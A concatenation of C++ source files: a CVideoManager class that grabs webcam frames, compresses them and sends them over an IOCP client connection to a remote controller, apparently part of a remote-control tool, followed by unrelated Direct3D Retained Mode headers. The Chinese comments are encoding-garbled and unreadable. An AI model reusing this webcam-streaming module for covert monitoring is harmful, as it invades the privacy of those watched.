InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
std::cout<<"CVideoManager ~CVideoManager \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}
void CVideoManager::Destroy()
{
std::cout<<"CVideoManager Destroy \n";
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}
void CVideoManager::SendBitMapInfor()
{
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE szBuffer = new BYTE[dwBytesLength];
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
delete [] szBuffer;
}
void CVideoManager::SendNextScreen()
{
DWORD dwBmpImageSize=0;
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
LPBYTE lpBuffer = new BYTE[nBufferLen];
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD><EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
UINT nPacketLen = 0;
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
{
int nCompressLen = 0;
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
&nCompressLen, NULL);
if (!nCompressLen)
{
// some thing error
delete [] lpBuffer;
return;
}
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
nPacketLen = nCompressLen + nHeadLen;
}
else
{
//<2F><>ѹ<EFBFBD><D1B9> <20><>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
nPacketLen = dwBmpImageSize+ nHeadLen;
}
m_CapVideo.SendEnd(); //copy send
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer;
}
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
}
}
BOOL CVideoManager::Initialize()
{
BOOL bRet = TRUE;
if (m_pVideoCodec!=NULL)
{
delete m_pVideoCodec;
m_pVideoCodec=NULL;
}
if (m_fccHandler==0) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
bRet= FALSE;
return bRet;
}
m_pVideoCodec = new CVideoCodec;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶѹ<C6B5><D1B9> <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD> m_fccHandler(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><ECBAAF><EFBFBD>в鿴)
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler))
{
delete m_pVideoCodec;
bRet=FALSE;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL;
}
return bRet;
}

40
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// VideoManager.h: interface for the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "CaptureVideo.h"
#include "VideoCodec.h"
class CVideoManager : public CManager
{
public:
CVideoManager(IOCPClient* ClientObject, int n) ;
virtual ~CVideoManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
void CVideoManager::SendBitMapInfor();
void CVideoManager::SendNextScreen();
static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo;
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL CVideoManager::Initialize();
DWORD m_fccHandler;
bool m_bIsCompress;
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
void CVideoManager::Destroy();
};
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)

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/* $Revision: 1.2 $ */
#ifndef _LCC__D3DRM_H__
#define _LCC__D3DRM_H__
#include "ddraw.h"
#include "d3drmobj.h"
typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG);
DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
WIN_TYPES(IDirect3DRM, DIRECT3DRM);
STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM);
#undef INTERFACE
#define INTERFACE IDirect3DRM
DECLARE_INTERFACE_(IDirect3DRM, IUnknown)
{
IUNKNOWN_METHODS(PURE);
STDMETHOD(CreateObject)
(THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE;
STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE;
STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE;
STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE;
STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE;
STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE;
STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE;
STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE;
STDMETHOD(CreateLightRGB)
(THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE;
STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE;
STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(CreateDeviceFromSurface)
( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD,
LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE *
) PURE;
STDMETHOD(CreateDeviceFromD3D)
( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev,
LPDIRECT3DRMDEVICE *
) PURE;
STDMETHOD(CreateDeviceFromClipper)
( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID,
int width, int height, LPDIRECT3DRMDEVICE *) PURE;
STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(CreateShadow)
( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT,
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz,
LPDIRECT3DRMVISUAL *
) PURE;
STDMETHOD(CreateViewport)
( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD,
DWORD, DWORD, LPDIRECT3DRMVIEWPORT *
) PURE;
STDMETHOD(CreateWrap)
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME,
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
D3DVALUE ou, D3DVALUE ov,
D3DVALUE su, D3DVALUE sv,
LPDIRECT3DRMWRAP *
) PURE;
STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE;
STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE;
STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE;
STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE;
STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return);
STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE;
STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE;
STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE;
STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE;
STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE;
STDMETHOD(Load)
( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS,
D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID,
LPDIRECT3DRMFRAME
) PURE;
STDMETHOD(Tick) (THIS_ D3DVALUE) PURE;
};
#define D3DRM_OK DD_OK
#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781)
#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782)
#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783)
#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784)
#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785)
#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786)
#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787)
#define D3DRMERR_BADFILE MAKE_DDHRESULT(788)
#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789)
#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790)
#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791)
#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792)
#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793)
#endif

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/* $Revision: 1.2 $ */
#ifndef __D3DRMDEFS_H__
#define __D3DRMDEFS_H__
#include <stddef.h>
#include "d3dtypes.h"
#define D3DRMAPI __stdcall
#ifndef TRUE
#define FALSE 0
#define TRUE 1
#endif
typedef struct _D3DRMVECTOR4D { D3DVALUE x, y, z, w; } D3DRMVECTOR4D, *LPD3DRMVECTOR4D;
typedef D3DVALUE D3DRMMATRIX4D[4][4];
typedef struct _D3DRMQUATERNION { D3DVALUE s; D3DVECTOR v; } D3DRMQUATERNION, *LPD3DRMQUATERNION;
typedef struct _D3DRMBOX { D3DVECTOR min, max; } D3DRMBOX, *LPD3DRMBOX;
typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int* ,LPD3DVECTOR,LPD3DVECTOR,LPVOID);
typedef enum _D3DRMLIGHTTYPE
{ D3DRMLIGHT_AMBIENT,
D3DRMLIGHT_POINT,
D3DRMLIGHT_SPOT,
D3DRMLIGHT_DIRECTIONAL,
D3DRMLIGHT_PARALLELPOINT
} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE;
typedef enum _D3DRMSHADEMODE {
D3DRMSHADE_FLAT = 0,
D3DRMSHADE_GOURAUD = 1,
D3DRMSHADE_PHONG = 2,
D3DRMSHADE_MASK = 7,
D3DRMSHADE_MAX = 8
} D3DRMSHADEMODE, *LPD3DRMSHADEMODE;
typedef enum _D3DRMLIGHTMODE {
D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX,
D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX,
D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX,
D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX
} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE;
typedef enum _D3DRMFILLMODE {
D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX,
D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX,
D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX,
D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX,
D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX
} D3DRMFILLMODE, *LPD3DRMFILLMODE;
typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY;
#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME)
#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID)
#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
typedef enum _D3DRMTEXTUREQUALITY
{ D3DRMTEXTURE_NEAREST,
D3DRMTEXTURE_LINEAR,
D3DRMTEXTURE_MIPNEAREST,
D3DRMTEXTURE_MIPLINEAR,
D3DRMTEXTURE_LINEARMIPNEAREST,
D3DRMTEXTURE_LINEARMIPLINEAR
} D3DRMTEXTUREQUALITY, *LPD3DRMTEXTUREQUALITY;
typedef enum _D3DRMCOMBINETYPE
{ D3DRMCOMBINE_REPLACE,
D3DRMCOMBINE_BEFORE,
D3DRMCOMBINE_AFTER
} D3DRMCOMBINETYPE, *LPD3DRMCOMBINETYPE;
typedef D3DCOLORMODEL D3DRMCOLORMODEL, *LPD3DRMCOLORMODEL;
typedef enum _D3DRMPALETTEFLAGS
{ D3DRMPALETTE_FREE,
D3DRMPALETTE_READONLY,
D3DRMPALETTE_RESERVED
} D3DRMPALETTEFLAGS, *LPD3DRMPALETTEFLAGS;
typedef struct _D3DRMPALETTEENTRY
{ unsigned char red;
unsigned char green;
unsigned char blue;
unsigned char flags;
} D3DRMPALETTEENTRY, *LPD3DRMPALETTEENTRY;
typedef struct _D3DRMIMAGE
{ int width, height;
int aspectx, aspecty;
int depth;
int rgb;
int bytes_per_line;
void* buffer1;
void* buffer2;
unsigned long red_mask;
unsigned long green_mask;
unsigned long blue_mask;
unsigned long alpha_mask;
int palette_size;
D3DRMPALETTEENTRY* palette;
} D3DRMIMAGE, *LPD3DRMIMAGE;
typedef enum _D3DRMWRAPTYPE
{ D3DRMWRAP_FLAT,
D3DRMWRAP_CYLINDER,
D3DRMWRAP_SPHERE,
D3DRMWRAP_CHROME
} D3DRMWRAPTYPE, *LPD3DRMWRAPTYPE;
#define D3DRMWIREFRAME_CULL 1
#define D3DRMWIREFRAME_HIDDENLINE 2
typedef enum _D3DRMPROJECTIONTYPE
{ D3DRMPROJECT_PERSPECTIVE,
D3DRMPROJECT_ORTHOGRAPHIC
} D3DRMPROJECTIONTYPE, *LPD3DRMPROJECTIONTYPE;
typedef enum _D3DRMXOFFORMAT
{ D3DRMXOF_BINARY,
D3DRMXOF_COMPRESSED,
D3DRMXOF_TEXT
} D3DRMXOFFORMAT, *LPD3DRMXOFFORMAT;
typedef DWORD D3DRMSAVEOPTIONS;
#define D3DRMXOFSAVE_NORMALS 1
#define D3DRMXOFSAVE_TEXTURECOORDINATES 2
#define D3DRMXOFSAVE_MATERIALS 4
#define D3DRMXOFSAVE_TEXTURENAMES 8
#define D3DRMXOFSAVE_ALL 15
#define D3DRMXOFSAVE_TEMPLATES 16
typedef enum _D3DRMCOLORSOURCE
{ D3DRMCOLOR_FROMFACE,
D3DRMCOLOR_FROMVERTEX
} D3DRMCOLORSOURCE, *LPD3DRMCOLORSOURCE;
typedef enum _D3DRMFRAMECONSTRAINT
{ D3DRMCONSTRAIN_Z,
D3DRMCONSTRAIN_Y,
D3DRMCONSTRAIN_X
} D3DRMFRAMECONSTRAINT, *LPD3DRMFRAMECONSTRAINT;
typedef enum _D3DRMMATERIALMODE
{ D3DRMMATERIAL_FROMMESH,
D3DRMMATERIAL_FROMPARENT,
D3DRMMATERIAL_FROMFRAME
} D3DRMMATERIALMODE, *LPD3DRMMATERIALMODE;
typedef enum _D3DRMFOGMODE
{ D3DRMFOG_LINEAR,
D3DRMFOG_EXPONENTIAL,
D3DRMFOG_EXPONENTIALSQUARED
} D3DRMFOGMODE, *LPD3DRMFOGMODE;
typedef enum _D3DRMZBUFFERMODE {
D3DRMZBUFFER_FROMPARENT,
D3DRMZBUFFER_ENABLE,
D3DRMZBUFFER_DISABLE
} D3DRMZBUFFERMODE, *LPD3DRMZBUFFERMODE;
typedef enum _D3DRMSORTMODE {
D3DRMSORT_FROMPARENT,
D3DRMSORT_NONE,
D3DRMSORT_FRONTTOBACK,
D3DRMSORT_BACKTOFRONT
} D3DRMSORTMODE, *LPD3DRMSORTMODE;
typedef DWORD D3DRMANIMATIONOPTIONS;
#define D3DRMANIMATION_OPEN 1
#define D3DRMANIMATION_CLOSED 2
#define D3DRMANIMATION_LINEARPOSITION 4
#define D3DRMANIMATION_SPLINEPOSITION 8
#define D3DRMANIMATION_SCALEANDROTATION 16
#define D3DRMANIMATION_POSITION 32
typedef DWORD D3DRMLOADOPTIONS;
#define D3DRMLOAD_FROMFILE 0x00L
#define D3DRMLOAD_FROMRESOURCE 0x01L
#define D3DRMLOAD_FROMMEMORY 0x02L
#define D3DRMLOAD_FROMSTREAM 0x04L
#define D3DRMLOAD_BYNAME 0x10L
#define D3DRMLOAD_BYPOSITION 0x20L
#define D3DRMLOAD_BYGUID 0x40L
#define D3DRMLOAD_FIRST 0x80L
#define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L
#define D3DRMLOAD_INSTANCEBYCOPYING 0x200L
typedef struct _D3DRMLOADRESOURCE {
HMODULE hModule;
LPCTSTR lpName;
LPCTSTR lpType;
} D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE;
typedef struct _D3DRMLOADMEMORY {
LPVOID lpMemory;
DWORD dSize;
} D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY;
typedef enum _D3DRMUSERVISUALREASON {
D3DRMUSERVISUAL_CANSEE,
D3DRMUSERVISUAL_RENDER
} D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON;
typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING;
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1;
static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2;
static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4;
typedef struct _D3DRMVERTEX
{ D3DVECTOR position;
D3DVECTOR normal;
D3DVALUE tu, tv;
D3DCOLOR color;
} D3DRMVERTEX, *LPD3DRMVERTEX;
typedef LONG D3DRMGROUPINDEX;
static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1;
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE);
extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE);
extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR);
extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR);
extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR);
#define D3DRMVectorNormalise D3DRMVectorNormalize
extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE);
extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION);
extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE);
extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION);
#endif

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/* $Revision: 1.2 $ */
#ifndef _LCC_D3DRMOBJ_H_
#define _LCC_D3DRMOBJ_H_
#include <objbase.h>
#define VIRTUAL
#include "d3drmdef.h"
#include "d3d.h"
#define IUNKNOWN_METHODS(kind) \
STDMETHOD(QueryInterface) (THIS_ REFIID riid, LPVOID *ppvObj) kind; \
STDMETHOD_(ULONG, AddRef) (THIS) kind; \
STDMETHOD_(ULONG, Release) (THIS) kind
#define IDIRECT3DRMOBJECT_METHODS(kind) \
STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \
STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
STDMETHOD(DeleteDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \
STDMETHOD(SetAppData) (THIS_ DWORD data) kind; \
STDMETHOD_(DWORD, GetAppData) (THIS) kind; \
STDMETHOD(SetName) (THIS_ LPCSTR) kind; \
STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \
STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind
#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype
WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT);
WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE);
WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT);
WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME);
WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL);
WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH);
WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER);
WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE);
WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT);
WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE);
WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP);
WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL);
WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION);
WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET);
WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL);
WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW);
WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY);
WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY);
WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY);
WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY);
WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY);
WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY);
WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY);
WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY);
DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
